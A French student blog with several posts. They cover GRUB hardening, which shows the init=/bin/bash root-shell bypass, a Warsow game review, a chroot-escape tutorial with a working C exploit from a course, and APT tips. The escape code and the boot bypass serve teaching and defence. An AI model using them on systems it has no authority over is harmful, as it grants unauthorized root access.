[Linux] Sécuriser GRUB

Les cours s'enchainent de manière soutenue et ils sont de plus en plus intéressants. Il faut dire que certains de nos profs sont des pointures dans le domaine du libre, je pense notamment à Lucas Nussbaum qui est un développeur Debian (mainteneur officiel des packages de Perl sous Debian et Ubuntu) ainsi que Laurent Vallar qui est membre de la team Linuxfr.org.
Aujourd'hui on a eu droit en cours à une petite parenthèse au sujet de la sécurité de GRUB, Mr Nussbaum nous a montré comme il était facile d'exploiter GRUB dans sa configuration par défaut pour avoir accès à un système sans mot de passe root ni compte utilisateur.
La méthode qui nous a été décrite est affreusement simple du moment qu'on n'a accès physique à la machine, il suffit lors de l'affichage du menu de sélection de GRUB de sélectionner l'entrée de la distribution Linux puis de taper "e" pour éditer cette entrée, on ajouter à la fin de la ligne débutant par kernel la commande suivante :
init=/bin/bash
Attention à bien laisser un espace entre le texte déjà présent dans la ligne et ce qu'on y ajoute. Il ne faut pas que cela soit coller !
Une fois cette modification faite, on valide en tapant sur "Entrée" puis on boot en pressant la touche "b". Et là miracle, au bout de quelques seconde on arrive sur un shell bash tout beau sans qu'aucune identification ne soit requise. A partir de là on peut imaginer effectuer tout un tas d'action comme modifier le mot de passe d'un utilisateur à l'aide de la commande passwd. Notez d'ailleurs que cette technique est parfaitement utilisable quand vous avez oublié votre mot de passe root par exemple.
Maintenant voyons comment améliorer la sécurité de notre GRUB et du PC de manière générale :
- Mettre un mot de passe au BIOS pour éviter les modifications de celui-ci.
- Modifier les séquences de boot de façon à ce que la machine ne boot que sur le disque dur, pensez pour cela à complètement désactiver les autres périphériques de boot car se contenter de mettre le disque dur en première position dans la séquence de boot ne suffit pas, un hacker peut très bien sélectionner un autre périphérique de boot avec certains raccourcis comme F2, F10 ou F12 (tout dépend du matériel).
- Mettre un cadenas au chassie du PC (ou l'enfermer dans une case du bureau) pour empêcher un accès à l'intérieur de la machine.
- Protéger GRUB à l'aide d'un mot de passe :
Pour mettre un mot de passe à grub il va tout débord falloir générer un hash md5 du mot de passe que vous désirez utiliser, pour cela il faut passer par l'utilitaire grub-md5-crypt :
[nassim@Laptop_Nassim ~]$ grub-md5-crypt
Password:
Retype password:
$1$XF1ZG/$Hry.mmJjvlJ1DeH4/4EG9.
La chaine de caractère en vert est votre mot de passe en crypté, vous devez le copier. Il ne reste plus qu'à éditer le fichier menu.lst de Grub et y insérer la ligne suivante au niveau des configurations générales (et non à la fin du fichier) :
password --md5 MotDePasseCrypté
Pour activer la protection des différentes entrées de Grub, il faut modifier chaque entrée du menu.lst en ajoutant le terme lock en dessous de leur titre, comme dans cet exemple :
# (0) Arch Linux
title Arch Linux
lock
root (hd0,5)
kernel /boot/vmlinuz26 root=/dev/disk/by-uuid/af698b50-2fab-4465-9e75-94de78fca8b2 ro vga=792
initrd /boot/kernel26.img
Voilà, désormais lors du lancement de grub vous ne pourrez ni éditer ni lancer une entrée (démarrer Linux) dans avoir pressé la touche "p" puis avoir saisi votre mot de passe.
J'avoue Personnellement, je trouve que cette protection n'est pas très pratique, cela devient vite fatiguant de devoir saisir son mot de passe à chaque démarrage, je recommande donc cette manipulation uniquement pour les machines qui nécessites réellement un soin très particulier en terme de sécurisation (serveur, ordinateur ayant des données sensibles...etc).
[Linux|Jeux] Warsow
Warsaw est un jeu gratuit de type FPS disponible sous Linux et adoptant un style graphique proche des bandes dessinées (cel-shading).
La qualité du jeu est vraiment excellente, sa jouabilité est irréprochable et il est doté de quelques particularités résidant dans un système de double munitions (weak ammo et strong ammo) ainsi qu'un gameplay intégrant des mouvements spéciaux (pointes de vitesse, rebonds sur les murs, course sur les murs style Prince Of Persia...etc.) .
Les modes de jeux sont nombreux, on retrouve les classiques "Death Match", "Team DeachMatch", "Capture The Flag" mais aussi des modes plus spécifiques comme "Dual" où deux joueurs s'affrontent, "Race" axé rapidité, "Clan Arena", "Duel Arena" et "Instagib". Il est possible de jouer en local grâce à un système de bots inclus nativement.
Voici quelques captures d'écran :



Pour installer Warsow utilisez le gestionnaire de paquetage de votre distribution Linux (à noter que la dernière version du jeu est la 0.5) ou téléchargez le jeu depuis son site officiel : http://www.warsow.net
Pour finir, sachez que Warsow est aussi disponible sous Windows et Mac OS.
Dans un prochain billet, je traiterai de l'installation d'un serveur dédié Warsow tel que celui que j'ai mis en place dans notre salle de cours à l'institut.
tp://fr.wikipedia.org/wiki/Jeu_de_tir_subjectifc
[Sécurité/Linux] Chroot Break

Derrière ce titre original se cache un billet traitant de l'évasion d'un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j'ai vu récemment en cours.
De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l'aide de l'outil chroot, le but de cette manipulation étant de limiter l'impacte du piratage d'une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l'empêchera d'infecter le reste du système, la sécurité globale reste donc préservée.
Cela dit, les gens savent moins souvent que la commande chroot n'a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s'échapper d'un chroot et d'avoir ainsi accès à l'ensemble du système.
Voici un petit programme rédigé en C qui permet d'outrepasser un chroot :
/**
* Programme en C permettant d'outrepasser un chroot.
* Auteur : Lucas Nussbaum - IUT Charlemagne Nancy2, France.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main() {
/* On se positionne a la racine du chroot */
if (chdir("/") == -1) { perror("chdir"); }
/* On cree un repertoire 'foo' et un chroot dedans */
if (mkdir("/foo", 0755) == -1) { perror("mkdir"); }
if (chroot("/foo") == -1) { perror("chroot"); }
/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.
On fait remonter le repertoire courant. */
if (chdir("../../../../..") == -1) { perror("chdir"); }
/* On execute un shell */
system("/bin/bash");
return 0;
}
Deux remarques au sujet de ce code mis au point par mon enseignant :
- Il requière les privilèges root.
- Il requière l'accès à un compilateur C ou d'avoir la possibilité d'exécuter un programme
Ce programme exploite l'appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l'aide d'un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot... on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu'à se retrouver à la racine "/" et de lancer un shell bash pour avoir un accès complet au système.
D'autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l'ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.
Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.
Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n'a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j'utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.
D'ailleurs, j'essaierai prochainement de rédiger un billet traitant des dispositifs que j'ai mis en place sur mon serveur pour le sécuriser.
[Debian] Bon APT
Désolé mais à cette heure saugrenue à laquelle je rédige ce billet je n’ai pas eu de meilleure idée de titre que celui-ci.
Bon, cela fait maintenant quelques semaines que j’ai repris les cours et qu’à mon grand désespoir d’Archlinuxien je bouffe du Debian à longueur de journée et j’ai donc décidé de rédiger un petit billet au sujet d’APT que je commence à maitriser.
Voici donc quelques « astuces » sous APT :
- Sélectionner les meilleurs miroirs :
Il est intéressant de sélectionner les miroirs les plus rapides pour optimiser les temps de téléchargement des paquets avec APT. Cette opération peut être effectuée judicieusement à l’aide de l’application netselect.
Installation de netselect :
apt-get install netselect
Il vous suffit maintenant de lancer la commande netselect suivie d'une liste de miroirs (séparés par des espaces) et la commande renverra le miroir le plus rapide. Vous pouvez trouver la liste complète des miroirs ici : http://www.debian.org/mirror/mirrors_full.
- Rechercher un paquet :
Si vous recherchez un paquet dont vous ne connaissez pas le nom exacte, vous pouvez utiliser la commande :
apt-cache search nomDuPaquet
Cette commande effectuera une recherche sur le nom des paquets et leur description. Si vous désirez restreindre la recherche aux noms des paquets uniquement, vous pouvez utiliser la commande :
apt-cache search -n nomDuPaquet
- Afficher les informations d'un paquet :
Vous pouvez afficher les informations d'un paquet (descriptions, dépendances...etc) en utilisant la commande :
apt-cache showpkg nomDuPaquet
- Déterminer à quel paquetage appartient un fichier :
Une fonction qui s'avère cruciale lors de certaines pannes, cela permet par exemple de pouvoir restaurer un fichier corrompu en réinstallant le paquetage correspondant.
La commande à utiliser est :
apt-file search nomDuFichier
Il est aussi possible de lister l'ensemble des fichiers d'un paquet particulier :
apt-file list nomDuPaquet
Il est important de noter qu'apt-file doit être installé car il n'est pas disponible par défaut, son installation s'effectue de cette manière :
apt-get install apt-file
apt-file update
Voilà... j'essairai d'enrichir ce billet prochainement.
